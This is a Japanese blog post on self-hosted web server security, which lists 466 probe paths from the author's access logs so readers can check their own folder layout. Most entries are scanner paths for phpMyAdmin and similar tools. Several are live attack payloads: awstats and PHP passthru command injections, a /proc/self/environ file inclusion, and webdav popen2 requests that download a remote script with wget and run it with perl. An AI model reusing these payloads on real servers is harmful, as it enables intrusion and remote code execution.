自宅サーバーやVPSなどで自分でWEBサーバーを構築するのはいいが、ネックになるのはセキュリティの部分。
自作のプログラムを設置して動かしているならば、WEBサーバーとしての基礎となるApacheやMySQL、PHP等の脆弱性を突かれない限りは気にする部分が限られてくるので管理はらくだけれども、MySQLをGUIで管理するためのphpMyAdminやPostgreSQLをGUIで管理するためのphppgadminを入れて運用するのが一般的。その都度削除してインストールし直すなんて面倒ですよね。
WordPressやMovableTypeなんかも ダウンロード→解凍→インストール という作業が簡単になっていますし、言われるがままに入れてしまうので特に危なかったりします。
まさか自分のサイトがウイルスの配布場所になっていたなんて、予想もしてないことが起こってしまうことがあるのです。
「セキュリティ対策が万全じゃないとWEBサーバーは公開してはいけない」という決まりはないし、手軽に公開できるようになったからこそ、自分なりに出来る限りの対策をすることは求められることでしょう。モラルにちかいのかな
一番手っ取り早いのが、最初から指定(作成)されるフォルダ名を変更してインストールする方法です。ピンポイントに狙われた際はどうしようもないことも多いですが、大手サイトじゃない限りはピンポイントで狙っても効果が薄いので、一般的なサーバーに関しては迷惑メールやウイルス配布用のサーバー機として利用されることが多くなります。
攻撃者はあらゆるグローバルIPアドレスに向かって自動巡回で「どこかに穴が開いてるサーバーはないかな」と仕掛けてきます。
下記が私の持っているサーバーのログから出力した自動巡回で投げられてきたアクセス場所です。もちろん該当箇所はないので404NotFoundは返されていますが、攻撃者は1箇所でも正常アクセスできる場所が見つかればそこからつついきますので、下記のリストを元に自分のサーバーのフォルダ構成を見直してみるのもいいのではないでしょうか。
【アクセスリスト】466件(2012/01/06更新)
/2phpmyadmin/
/3rdparty/phpMyAdmin/scripts/setup.php
/Admin/scripts/setup.php
/Horde/README
/MyAdmin/
/MyAdmin/scripts/setup.php
/MyAdmin9/scripts/setup.php
/MySQLAdmin/scripts/setup.php
/PHPMYADMIN/config/config.inc.php?p=phpinfo();
/PHPMYADMIN/scripts/setup.php
/PMA/
/PMA/main.php
/PMA/scripts/setup.php
/PMA2005/scripts/setup.php
/README
/SQL/scripts/setup.php
/SSLMySQLAdmin/scripts/setup.php
/SnapshotJPEG?Resolution=640×480&Quality=Clarity
/_admin/pma/scripts/setup.php
/_admin/scripts/setup.php
/_myadmin/scripts/setup.php
/_phpMyAdmin/scripts/setup.php
/_phpmyadmin/scripts/setup.php
/_scripts/setup.php
/admin/
/admin/config/config.inc.php?p=phpinfo();
/admin/cp/tools/pma/scripts/setup.php
/admin/database/main.php
/admin/datenbank/main.php
/admin/db/
/admin/db/main.php
/admin/index.php
/admin/main.php
/admin/myadmin/main.php
/admin/mysql-admin/main.php
/admin/mysql/main.php
/admin/mysql/scripts/setup.php
/admin/mysqladmin/main.php
/admin/pMA/
/admin/pMA/main.php
/admin/padmin/main.php
/admin/php-my-admin/main.php
/admin/phpMyAdmin-2.2.3/main.php
/admin/phpMyAdmin-2.2.6/main.php
/admin/phpMyAdmin-2.5.1/main.php
/admin/phpMyAdmin-2.5.4/main.php
/admin/phpMyAdmin-2.5.6/main.php
/admin/phpMyAdmin-2.6.0-pl1/main.php
/admin/phpMyAdmin-2.6.0/main.php
/admin/phpMyAdmin-2.6.2-rc1/main.php
/admin/phpMyAdmin-2.6.3-pl1/main.php
/admin/phpMyAdmin-2.6.3-rc1/main.php
/admin/phpMyAdmin-2.6.3/main.php
/admin/phpMyAdmin/
/admin/phpMyAdmin/main.php
/admin/phpmyadmin/
/admin/phpmyadmin/index.php
/admin/phpmyadmin/main.php
/admin/phpmyadmin/scripts/setup.php
/admin/phpmyadmin2/main.php
/admin/pma/index.php
/admin/pma/scripts/setup.php
/admin/scripts/setup.php
/admin/sqladmin/
/admin/sqladmin/main.php
/admin/sqlweb/main.php
/admin/sysadmin/
/admin/sysadmin/main.php
/admin/web/
/admin/web/main.php
/admin/webadmin/main.php
/admin/webdb/main.php
/admin/websql/main.php
/administrator/PMA/
/administrator/admin/
/administrator/db/
/administrator/phpMyAdmin/
/administrator/phpmyadmin/
/administrator/phpmyadmin/scripts/setup.php
/administrator/pma/
/administrator/web/
/admm/scripts/setup.php
/admn/scripts/setup.php
/appConf.htm
/apps/phpAlbum/main.php?cmd=setquality&var1=1%27.passthru%28%27id%27%29.%27;
/apps/phpalbum/main.php?cmd=setquality&var1=1%27.passthru%28%27id%27%29.%27;
/awstats/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/awstats/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d
/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d
/awstatstotals/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d
/backup/phpMyAdmin/scripts/setup.php
/backup/phpmyadmin/scripts/setup.php
/bazapma/scripts/setup.php
/bbs/data/scripts/setup.php
/bkup/phpMyAdmin/scripts/setup.php
/bkup/phpmyadmin/scripts/setup.php
/cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/cgi-bin/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;;echo%20YYY;echo|
/cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/cgi-bin/stats/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/cgi-bin/stats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/cgi/awstats/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/cgi/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/config/config.inc.php?p=phpinfo();
/cp/tools/pma/scripts/setup.php
/cpadmin/scripts/setup.php
/cpadmindb/scripts/setup.php
/cpanelmysql/scripts/setup.php
/cpanelphpmyadmin/scripts/setup.php
/cpanelsql/scripts/setup.php
/cpdbadmin/scripts/setup.php
/cpphpmyadmin/scripts/setup.php
/cube/README
/database/
/database/database/
/database/main.php
/database/phpMyAdmin/
/database/phpMyAdmin2/
/database/phpmyadmin/
/database/phpmyadmin2/
/databaseadmin/scripts/setup.php
/datenbank/main.php
/db/
/db/db-admin/
/db/dbadmin/
/db/dbweb/
/db/index.php
/db/main.php
/db/myadmin/
/db/phpMyAdmin-2/
/db/phpMyAdmin/
/db/phpMyAdmin2/
/db/phpmyadmin/
/db/phpmyadmin2/
/db/scripts/setup.php
/db/webadmin/
/db/webdb/
/db/websql/
/dbadmin/
/dbadmin/config/config.inc.php?p=phpinfo();
/dbadmin/index.php
/dbadmin/main.php
/dbadmin/scripts/setup.php
/email/README
/epgrec/main.php
/exec/show/sip
/horde-3.0.5/README
/horde-3.0.6/README
/horde-3.0.7/README
/horde-3.0.8/README
/horde-3.0.9/README
/horde/README
/horde2/README
/horde3/README
/img/l4iw5.gif
/img/phpog5.png
/img/phprs3.png
/img/phpym1.png
/img/r4zw5.gif
/index.php?option=com_simpledownload&controller=../../../../../../../../../../../../../../../proc/self/environ%00
/mail/README
/mail/config.inc.php?p=phpinfo();
/mail2/README
/mails/README
/mailz/README
/main.php?cmd=setquality&var1=1%27.passthru%28%27id%27%29.%27;
/manager/html
/mss/README
/mss2/README
/muieblackcat
/my/phpmyadmin/scripts/setup.php
/my/scripts/setup.php
/myadmin/
/myadmin/config/config.inc.php?p=phpinfo();
/myadmin/index.php
/myadmin/main.php
/myadmin/scripts/setup.php
/mysql-admin/
/mysql-admin/main.php
/mysql-admin/scripts/setup.php
/mysql/
/mysql/admin/
/mysql/config/config.inc.php?p=phpinfo();
/mysql/db/
/mysql/dbadmin/
/mysql/index.php
/mysql/main.php
/mysql/mysqlmanager/
/mysql/pMA/
/mysql/pma/
/mysql/scripts/setup.php
/mysql/sqlmanager/
/mysql/web/
/mysqladmin/
/mysqladmin/index.php
/mysqladmin/main.php
/mysqladmin/scripts/setup.php
/mysqladminconfig/scripts/setup.php
/mysqlmanager/
/mysqlmanager/scripts/setup.php
/newmail/README
/p/m/a/scripts/setup.php
/pHpMy/scripts/setup.php
/pHpMyAdMiN/scripts/setup.php
/pMA/scripts/setup.php
/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=lwp-download%20http:/freetunel.com/cgi-bin.txt
/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=perl%20/tmp/cgi-bin.txt
/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=perl%20/tmp/x.txt
/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=perl%20cgi-bin.txt
/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=wget%20–output-document%20/tmp/cgi-bin.txt%20http:/freetunel.com/cgi-bin.txt
/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=wget%20–output-document%20/tmp/x.txt%20http:/203.162.35.91/x.txt
/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=wget%20http:/freetunel.com/cgi-bin.txt
/padmin/main.php
/php-my-admin/config/config.inc.php?p=phpinfo();
/php-my-admin/index.php
/php-my-admin/main.php
/php-my-admin/scripts/setup.php
/php-myadmin/
/php-myadmin/scripts/setup.php
/php/scripts/setup.php
/phpAlbum/main.php?cmd=setquality&var1=1%27.passthru%28%27id%27%29.%27;
/phpMyA/scripts/setup.php
/phpMyAdmi/scripts/setup.php
/phpMyAdmin-2.11.4/scripts/setup.php
/phpMyAdmin-2.11.5.1-all-languages/
/phpMyAdmin-2.11.6-all-languages/
/phpMyAdmin-2.11.7.1-all-languages-utf-8-only/
/phpMyAdmin-2.11.7.1-all-languages/
/phpMyAdmin-2.11.8.1-all-languages-utf-8-only/
/phpMyAdmin-2.11.8.1-all-languages/
/phpMyAdmin-2.2.3/index.php
/phpMyAdmin-2.2.3/main.php
/phpMyAdmin-2.2.3/scripts/setup.php
/phpMyAdmin-2.2.6/index.php
/phpMyAdmin-2.2.6/main.php
/phpMyAdmin-2.2.6/scripts/setup.php
/phpMyAdmin-2.5.1/index.php
/phpMyAdmin-2.5.1/main.php
/phpMyAdmin-2.5.1/scripts/setup.php
/phpMyAdmin-2.5.4/index.php
/phpMyAdmin-2.5.4/main.php
/phpMyAdmin-2.5.4/scripts/setup.php
/phpMyAdmin-2.5.5-pl1/index.php
/phpMyAdmin-2.5.5-pl1/scripts/setup.php
/phpMyAdmin-2.5.5-rc1/index.php
/phpMyAdmin-2.5.5-rc1/scripts/setup.php
/phpMyAdmin-2.5.5-rc1config/scripts/setup.php
/phpMyAdmin-2.5.5-rc2/index.php
/phpMyAdmin-2.5.5-rc2/scripts/setup.php
/phpMyAdmin-2.5.5/index.php
/phpMyAdmin-2.5.5/scripts/setup.php
/phpMyAdmin-2.5.6-rc1/index.php
/phpMyAdmin-2.5.6-rc1/scripts/setup.php
/phpMyAdmin-2.5.6-rc2/index.php
/phpMyAdmin-2.5.6-rc2/scripts/setup.php
/phpMyAdmin-2.5.6/index.php
/phpMyAdmin-2.5.6/main.php
/phpMyAdmin-2.5.6/scripts/setup.php
/phpMyAdmin-2.5.7-pl1/index.php
/phpMyAdmin-2.5.7-pl1/scripts/setup.php
/phpMyAdmin-2.5.7/index.php
/phpMyAdmin-2.5.7/scripts/setup.php
/phpMyAdmin-2.6.0-alpha/scripts/setup.php
/phpMyAdmin-2.6.0-alpha2/scripts/setup.php
/phpMyAdmin-2.6.0-beta1/scripts/setup.php
/phpMyAdmin-2.6.0-beta2/scripts/setup.php
/phpMyAdmin-2.6.0-pl1/main.php
/phpMyAdmin-2.6.0-pl1/scripts/setup.php
/phpMyAdmin-2.6.0-pl2/scripts/setup.php
/phpMyAdmin-2.6.0-pl3/scripts/setup.php
/phpMyAdmin-2.6.0-rc1/scripts/setup.php
/phpMyAdmin-2.6.0-rc2/scripts/setup.php
/phpMyAdmin-2.6.0-rc3/scripts/setup.php
/phpMyAdmin-2.6.0/main.php
/phpMyAdmin-2.6.0/scripts/setup.php
/phpMyAdmin-2.6.1-pl1/scripts/setup.php
/phpMyAdmin-2.6.1-pl2/scripts/setup.php
/phpMyAdmin-2.6.1-pl3/scripts/setup.php
/phpMyAdmin-2.6.1-rc1/scripts/setup.php
/phpMyAdmin-2.6.1-rc2/scripts/setup.php
/phpMyAdmin-2.6.1/scripts/setup.php
/phpMyAdmin-2.6.2-beta1/scripts/setup.php
/phpMyAdmin-2.6.2-pl1/scripts/setup.php
/phpMyAdmin-2.6.2-rc1/main.php
/phpMyAdmin-2.6.2-rc1/scripts/setup.php
/phpMyAdmin-2.6.2/scripts/setup.php
/phpMyAdmin-2.6.3-pl1/main.php
/phpMyAdmin-2.6.3-pl1/scripts/setup.php
/phpMyAdmin-2.6.3-rc1/main.php
/phpMyAdmin-2.6.3-rc1/scripts/setup.php
/phpMyAdmin-2.6.3/main.php
/phpMyAdmin-2.6.3/scripts/setup.php
/phpMyAdmin-2.6.4-pl1/scripts/setup.php
/phpMyAdmin-2.6.4-pl2/scripts/setup.php
/phpMyAdmin-2.6.4-pl3/scripts/setup.php
/phpMyAdmin-2.6.4-pl4/scripts/setup.php
/phpMyAdmin-2.6.4-rc1/scripts/setup.php
/phpMyAdmin-2.6.4/scripts/setup.php
/phpMyAdmin-2.7.0-beta1/scripts/setup.php
/phpMyAdmin-2.7.0-pl1/scripts/setup.php
/phpMyAdmin-2.7.0-pl2/scripts/setup.php
/phpMyAdmin-2.7.0-rc1/scripts/setup.php
/phpMyAdmin-2.7.0/scripts/setup.php
/phpMyAdmin-2.8.0-beta1/scripts/setup.php
/phpMyAdmin-2.8.0-rc1/scripts/setup.php
/phpMyAdmin-2.8.0-rc2/scripts/setup.php
/phpMyAdmin-2.8.0.1/scripts/setup.php
/phpMyAdmin-2.8.0.2/scripts/setup.php
/phpMyAdmin-2.8.0.3/scripts/setup.php
/phpMyAdmin-2.8.0.4/scripts/setup.php
/phpMyAdmin-2.8.0/scripts/setup.php
/phpMyAdmin-2.8.1-rc1/scripts/setup.php
/phpMyAdmin-2.8.1/scripts/setup.php
/phpMyAdmin-2.8.2/scripts/setup.php
/phpMyAdmin-2/index.php
/phpMyAdmin-2/scripts/setup.php
/phpMyAdmin/
/phpMyAdmin/config/config.inc.php?p=phpinfo();
/phpMyAdmin/index.php
/phpMyAdmin/main.php
/phpMyAdmin/scripts/setup.php
/phpMyAdmin1/scripts/setup.php
/phpMyAdmin2/config.inc.php?p=phpinfo();
/phpMyAdmin2/scripts/setup.php
/phpMyAds/scripts/setup.php
/phpMyadmin/
/phpadmin/index.php
/phpadmin/phpMyAdmin-2.11.4/scripts/setup.php
/phpadmin/scripts/setup.php
/phpalbum/main.php?cmd=setquality&var1=1%27.passthru%28%27id%27%29.%27;
/phpm/scripts/setup.php
/phpmanager/scripts/setup.php
/phpmy-admin/
/phpmy-admin/scripts/setup.php
/phpmy/
/phpmy/scripts/setup.php
/phpmyAdmin/
/phpmya/scripts/setup.php
/phpmyad-sys/scripts/setup.php
/phpmyad/scripts/setup.php
/phpmyadmin/
/phpmyadmin/config/config.inc.php?p=phpinfo();
/phpmyadmin/index.php
/phpmyadmin/main.php
/phpmyadmin/scripts/setup.php
/phpmyadmin1/index.php
/phpmyadmin1/scripts/setup.php
/phpmyadmin2/
/phpmyadmin2/config.inc.php?p=phpinfo();
/phpmyadmin2/index.php
/phpmyadmin2/main.php
/phpmyadmin2/scripts/setup.php
/phpmyadmin_old/scripts/setup.php
/phpmyadmino-ld/scripts/setup.php
/phppgadmin/
/phppgadmin/config.inc.php?p=phpinfo();
/phppma/
/pma/
/pma/config/config.inc.php?p=phpinfo();
/pma/index.php
/pma/main.php
/pma/scripts/setup.php
/pma2005/scripts/setup.php
/pmy/scripts/setup.php
/program/
/published/wbsadmin/html/scripts/setup.php
/qql/
/rc/README
/rms/README
/robots.txt
/round/README
/roundcube-0.1/README
/roundcube-0.2/README
/roundcube/README
/roundcube/scripts/setup.php
/roundcubemail-0.1/README
/roundcubemail-0.2/README
/roundcubemail/README
/rss/dmm/dmm001.php?getcode=10
/rss/dmm/dmm001.php?getcode=11
/rss/dmm/dmm001.php?getcode=13
/rss/dmm/dmm001.php?getcode=14
/rss/dmm/dmm001.php?getcode=6
/rss/dmm/dmm001.php?getcode=8
/rss/dmm/dmm001.php?getcode=9
/scgi-bin/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/scgi-bin/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/scgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/scgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/scgi-bin/stats/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/scgi-bin/stats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/scgi/awstats/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/scgi/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/scripts/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/scripts/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/scripts/setup.php
/sl2/data/scripts/setup.php
/sql/myadmin/
/sql/php-myadmin/
/sql/phpMyAdmin/
/sql/phpMyAdmin2/
/sql/phpmanager/
/sql/phpmy-admin/
/sql/phpmyadmin2/
/sql/scripts/setup.php
/sql/sql-admin/
/sql/sql/
/sql/sqladmin/
/sql/sqlweb/
/sql/webadmin/
/sql/webdb/
/sql/websql/
/sqladmin/scripts/setup.php
/sqlmanager/
/sqlmanager/scripts/setup.php
/sqlweb/
/sqlweb/main.php
/sqlweb/scripts/setup.php
/stat/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d
/stats/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/stats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/test/phpmyadmin/scripts/setup.php
/tools/_phpmyadmin/scripts/setup.php
/tools/_pma/scripts/setup.php
/tools/pma/scripts/setup.php
/top.htm
/typo3/phpmyadmin/index.php
/typo3/phpmyadmin/scripts/setup.php
/undefined
/up/henk.php
/up/henko.phpkeitai.php
/user/soapCaller.bs
/vhcs2/tools/pma/scripts/setup.php
/wbsadmin/html/scripts/setup.php
/web/index.php
/web/main.php
/web/phpMyAdmin/index.php
/web/phpMyAdmin/scripts/setup.php
/web/phpmyadmin/scripts/setup.php
/web/scripts/setup.php
/webadmin/
/webadmin/main.php
/webadmin/scripts/setup.php
/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=wget%20–output-document%20/tmp/cgi-bin.txt%20http:/freetunel.com/cgi-bin.txt
/webdb/
/webdb/main.php
/webdb/scripts/setup.php
/webmail/README
/webmail/config.inc.php?p=phpinfo();
/webmail2/README
/websql/
/websql/index.php
/websql/main.php
/websql/scripts/setup.php
/wm/README
/wp-content/plugins/wp-phpmyadmin/wp-phpmyadmin/phpmyadmin/scripts/setup.php
/wp-phpmyadmin/phpmyadmin/scripts/setup.php
/wp-phpmyadmin/scripts/setup.php
/xampp/main.php
/xampp/phpmyadmin/index.php
/xampp/phpmyadmin/scripts/setup.php





































![Syndicate this site using RSS [x]](http://everyday-growth.com/wp-content/themes/mad-meg/images/rss.png)